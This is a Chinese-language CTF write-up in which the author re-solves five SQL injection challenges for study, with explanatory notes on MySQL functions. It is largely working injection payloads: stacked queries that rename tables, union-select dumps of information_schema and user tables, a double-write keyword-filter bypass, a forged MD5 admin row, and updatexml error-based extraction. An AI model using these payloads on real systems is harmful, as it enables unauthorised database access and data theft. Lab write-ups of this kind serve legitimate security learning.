SQL水平太菜了,因此专门复现一轮SQL注入再学习一下。
1.强网杯2019随便注
尝试 1 'and '1'='1 成功回显,存在注入点。
但是题目有很强的过滤。
考虑堆叠注入。
由于没有过滤show函数因此可以用其来进行查询一些数据库信息。常见的有
- show databases //查询数据库名称
- show tables / show tables from db_name //查询(指定数据库)表名
- show engines //显示MySQL当前支持哪些存储引擎和默认存储引擎
- show columns from table_name //显示表的列信息
- show grants for user_name // 显示用户的权限
- show privileges //显示MySQL所支持的所有权限,及权限可操作的对象
多次尝试构造语句
1';show columns from `1919810931114514`;# 发现flag藏在该表
注:因为这里的表名为数字开头所以需要 ` 符号将表名包含,表示该表是表名而不是关键字。
这里由于select都被过滤了,所以有一个骚操作。
1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data
构造payload:1';rename `words` to `word`; rename `1919810931114514` to `words`; alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
在buu上测试了半天都不行,😓sql语句时灵时不灵,也是醉了。检查了半天居然时由于大小写问题。
后续发现
payload:1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#
因此代码未成功应该时由于表名和列名未用``包括起来导致的。
找了半天wp,发现如下payload可用
payload: 1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) NOT NULL;%23
然后输入1' or 1=1;# 即可获取flag
注:这里得varchar(100) not null 中的not null 不能删除 否则会执行失败,具体原理不太明白。
2.[极客大挑战 2019]LoveSQL
0202年了,居然还有直接万能密码登录的sql注入题目。
构造
成功登录
除此之外就没有别的东西了,因此注入点应该就在这两个输入框。
构造 admin' order by 3 # 判断表单的列数
发现4时会报错证明表单列数为3。
测试发现2,3列有回显。
注:一些常见的系统函数
1.VERSION() 查询数据库的版本
2.DATABASE() 、SCHEMA() 查询数据库名称
3.USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()、CURRENT_USER 返回当前用户
4.group_concat(table_name) from information_schema.tables where table_schema= db_name 查询数据库下的所有表名
5.group_concat(column_name) from information_schema.columns where table_schema=db_name and table_name=t_name 查询数据库下指定表的所有列名
构造 username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=6833fa82f111ddf6f0cd9da85e903c1f
查询数据库名称
根据数据库查询表单信息,尝试l0ve1ysq1 库
构造 username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=6833fa82f111ddf6f0cd9da85e903c1f
爆表数据
构造username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=6833fa82f111ddf6f0cd9da85e903c1f
成功get flag
3.[极客大挑战 2019]BabySQL
简单尝试了一下,发现常见的select union or 等 参数都被过滤了。
推测一下可能是通过匹配关键字然后删除来实现过滤。
尝试双写 ,果然没有被过滤。
构造 username=admin' OORRDER bbyy 3 #&password =123
注: 这里的order by 3是多次尝试出来的,orderby 4时就会报错,因此可以判断表列数有3个
成功登录,但是无回显点。尝试在password处注入。
构造 username=admin&password =123 ' OORRDER bbyy 3 #
成功回显。
然后就是和LoveSQL 那题一模一样的操作了,在需要绕过的地方双写绕过即可,在此就不多赘述了。需要的可以参考上面的那题的写法。在此就简单写一下具体步骤。
1.password=1' ununionion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()# //获取数据库名称b4bsql
2.password=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'# //获取列名 (id,username,password)
3.password=1' uniunionon seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
成功getflag
flag{930291ea-1c01-49fa-812c-938011abfda7}
4.[GXYCTF2019]BabySQli
进入题目是一个简单的登录界面
fuzz了一下,过滤的并不多,union select 并没有被过滤。
构造user=admin' union select 1,1,1#
尝试一下发现该表单数据共有三列。
因为没限制limit语句,尝试构造user =admin' union select 1,1,1 limit 1,1 #&pw=1
发现无效
注:后续阅读源码发现,这题限制了用户名,只允许admin用户,如果没有该限制,上述语句应该可以生效
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
不过这里也可以利用limit测试出来,只有user=admin时,才会有回显数据。
这里有一个坑,他的数据库里的密码居然时加密,不过通常来说时md5加密。
因此,构造
name=admin' union select 0,'admin','81dc9bdb52d04dc20036dbd8313ed055' limit 1,1%23&pw=1234
成功获取flag
5.hardsql
简单测试一下发现各种语句都被过滤了。
百度了一下发现可以通过报错注入的方式
注:报错注入是sql注入的一种常见类型,通过构造特殊的sql语句,让信息以报错的形式显示出来。最常见的就是基于updatexml()和extractvalue()。
updatexml函数和extractvalue函数
UPDATEXML (XML_document, XPath_string, new_value);
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
- 作用:改变文档中符合条件的节点的值(改变XML_document中符合XPATH_string的值)
EXTRACTVALUE (XML_document, XPath_string);
- 这两个参数和上面的意思一样
- 作用:对XML文档进行查询(查询XML_document中符合XPATH_string的值)
注:1.注入原理:updatexml函数和extractvalue函数的第二个参数XPath_string未满足XPath语法,报错并带出关键信息。
2.两个函数能查询字符串的最大长度为32。
因此我们可以构造查询语句获取数据库信息
username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
注:1.之所以选用concat函数是因为updatexml第二个参数要求参数的类型为字符串,因此不能直接执行sql指令,而选择返回值为字符串的concat
2.concat中的0x7e就是~的16进制,无特殊含义,可以任意替换。
接下来就是常规的注入过程了。
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e),1))%23&password=1
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e),1))%23&password=1
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat('','',password))from(H4rDsq1)),0x7e),1))%23&password=1
\
由于长度限制,我们可以通过left和right函数分开获取flag(substring被过滤了,不然也可以使用)
or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23&password=1
flag : flag{3d4c915f-ff1b-461c-8027-782ab72e0740}